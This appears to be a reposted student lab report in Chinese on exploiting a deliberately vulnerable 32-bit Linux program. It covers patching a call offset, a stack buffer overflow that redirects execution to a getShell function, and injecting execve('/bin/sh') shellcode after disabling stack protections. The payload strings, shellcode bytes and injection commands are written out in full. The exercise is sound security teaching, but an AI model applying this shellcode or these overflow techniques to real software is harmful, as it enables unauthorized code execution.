zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解

    2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解

    需要描述的内容

    掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90
    • JNE为条件转移指令,如果不相等则跳转。机器码是75。(Jump Not Equal)
    • JE为条件转移指令,相等则跳转。机器码是74.(Jump Equal)
    • JMP为无条件转移指令。在段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA
    • CMP比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

    一、直接修改程序机器指令,改变程序执行流程

    首先通过共享文件夹将pwn1文件copy进虚拟机中。
    并养成良好习惯进行备份。
    使用指令objdump -d pwn20165204 | more

    找到相应的call指令,发现其汇编指令为e8 d7 ff ff ff,e8是call的机器码,d7 ff ff ff是偏移量,我们要做的就是把d7 ff ff ff改成某个希望的数值,让call能够跳转到804847d。

    0x08048491 - 0x0804847d = 0x00000014

    0xffffffd7 - 0x00000014 = 0xffffffc3

    因此我们需要将d7 改为 c3就可以了。

    通过vim的%!xxd先将ASCII码文件转换为16进制

    再使用/d7ff找到我们想要修改的代码,修改为c3

    再使用%!xxd -r将其转换为ASCII码文件,使其能够运行。

    保存退出后,反汇编看一下有没有修改成功

    运行程序,发现其确实跳转至了getshell函数。至此,实验成功。

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    使用objdump -d pwn2 | more命令对文件进行反汇编

    使用gdb确认输入字符串哪几个字符会覆盖到返回地址

    通过观察可发现1111111122222222333333334444444412345678那 1234 那四个数会覆盖到堆栈上的返回地址,所以只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

    通过反汇编可知,应输入11111111222222223333333344444444x7dx84x04x08。

    因为无法使用键盘输入16进制值,故要构造输入字符串
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    再使用管道符|来输入。命令为(cat input; cat) | ./pwn2

    三、注入Shellcode并执行

    (1)首先修改设置

    apt-get install execstack安装execstack

    execstack -s pwn2 设置堆栈可执行

    execstack -q pwn2查询文件的堆栈是否可执行

    more /proc/sys/kernel/randomize_va_space查询地址虚拟化是否关闭

    (2)把输入的字串放入input_shellcode文件里

    (3)打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn2

    (4) 再开另外一个终端,用gdb来调试pwn1这个进程。

    (5) 使用ps -ef | grep pwn2来确认进程号。找到进程号是33628

    (6)disassemble foo命令进行反汇编,设置断点,使用info r esp找到地址

    (7)输入x/16x 0xffffd30c查看其存放内容,直接发现了我们的0x01020304所以其存放地址就是0xffffd310

    (8)将原shellcode更改为
    perl -e 'print "A" x 32;print"x10xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    (9)使用(cat input_shellcode;cat) | ./pwn2注入,成功!

    四、实验总结

    1、什么是漏洞?漏洞有什么危害?

    漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误,或者是庞大的代码中的可乘之机。

    漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利,让个人社会乃至国家遭受损失。

    2、实验收获与感想

    做实验之前一头雾水,听刘念老师多次说过这个在中美黑客大战中立下汗马功劳的漏洞。之后听了老师课上的讲解,对其原理明白了很多。而在真正做的时候更加深入地理解了其中的套路,而且真的很顺利(给跪了)。然而限制依然很多,诸多限制去掉一个都很难!想成为Watch Dog中的那种黑客真的是路漫漫其修远兮啊。

  • 相关阅读:
    Mac 安装FFMpeg 与 FFmpeg 格式转换
    django channels
    python3 coroutine
    python中关于sql 添加参数
    python导包的问题
    python中的列表
    django中用model生成数据库表结构
    docker
    博客大神地址
    Bean复制的几种框架性能比较(Apache BeanUtils、PropertyUtils,Spring BeanUtils,Cglib BeanCopier)
  • 原文地址:https://www.cnblogs.com/jph596299009/p/10545118.html
Copyright © 2011-2022 走看看